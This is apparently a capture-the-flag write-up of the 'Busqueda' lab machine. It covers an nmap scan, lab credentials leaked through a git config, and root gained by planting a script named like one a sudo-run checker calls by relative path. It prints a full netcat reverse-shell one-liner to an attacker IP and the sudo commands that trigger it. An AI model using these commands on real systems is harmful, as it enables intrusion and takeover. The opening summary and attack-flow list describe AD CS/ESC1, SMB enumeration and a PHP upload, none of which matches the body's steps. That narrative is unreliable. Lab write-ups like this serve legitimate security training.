Busqueda

Busqueda mimics a medium-sized enterprise environment with Active Directory Certificate Services (AD CS) misconfigurations.

Initial access was gained through SMB enumeration and credential reuse on a user with low privileges.

Escalated to root by leveraging a relative path vulnerability in system-checkup, which I executed with sudo from a controlled directory containing a malicious full-checkup.sh.

By identifying misissued certificates and leveraging ESC1 (template misconfiguration), I obtained a valid cert for authentication as a domain admin.

Why I Chose This Machine

I picked Busqueda because it focuses on common scripting flaws that often go unnoticed during manual reviews — especially around relative path usage.

It also provides a realistic escalation vector where file placement and environment control become more important than direct exploitation.

Attack Flow Overview

1. Discovered a password-protected admin panel and brute-forced the credentials
2. Uploaded a PHP reverse shell via the panel to gain a foothold
3. Found that the user could run a system-checkup script with sudo privileges
4. Noticed that the script called full-checkup.sh using a relative path
5. Executed system-checkup from a custom directory containing a malicious full-checkup.sh and gained root

This box demonstrates how minor implementation decisions — like using relative paths in privileged scripts — can lead to full system compromise.

Enumeration

• Footer contains service version number.

Nmap

└─$ nmap -sC -sV 10.10.11.208 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 10:31 AEST
Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 42.98% done; ETC: 10:31 (0:00:08 remaining)
Nmap scan report for 10.10.11.208
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80-HTTP

Initial Access

• Gain shell as svc user by using a public exploit.

Exploit used

Shell as svc

http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

0000000000000000000000000000000000000000 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 administrator@gitea.searcher.htb

add gitea.searcher.htb to /etc/hosts

sign in as cody : jh1usoih2bkjaspwe92

ssh as svc :jh1usoih2bkjaspwe92

Privilege Escalation

• /var/www contains .git
  • config file contains cody user credentials for gitea.searcher.htb
    • add the new domain to /etc/hosts
    • sign in with the obtained credentials
• SSH as svc user with cody user’s passsword.
  • sudo -l svc user has sudo privileges to run some python scripts
  • Following the official documentation for command formats, I was able to obtain more credentials.
  • Path abuse one of the python scripts.
    • create a new file with reverse shell payload in another directory /tmp.
    • name it the same
    • execute the file in the tmp using sudo.

Reference

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='' mysql_db

To exploit the fact that system-checkup references full-checkup.sh via a relative path, I executed it from a controlled directory containing my own malicious full-checkup.sh script.

This approach abuses path resolution behavior in shell scripts, allowing me to inject arbitrary code without modifying the original script — a tactic often overlooked in local privilege escalation assessments.

# create a shell file and insert a reverse shell payload into it
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 9001 >/tmp/f" > /tmp/full-checkup.sh

# make it executable
chmod +x /tmp/full-checkup.sh

# execute the shell
cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Alternative Paths Explored

I initially attempted to escalate using SUID binaries and writable service configs but found no exploitable paths.
File uploads were limited by extension filtering, which I bypassed using PHP filename tricks.
The real breakthrough came after inspecting the script logic and identifying path-based injection opportunities.

Blue Team Perspective

Busqueda highlights the risk of relying on unsanitized relative paths in root-level scripts.
To mitigate:

• Always use absolute paths in scripts with elevated privileges
• Audit all sudo-accessible scripts for uncontrolled file references
• Consider hardening user PATH and execution contexts when using sudo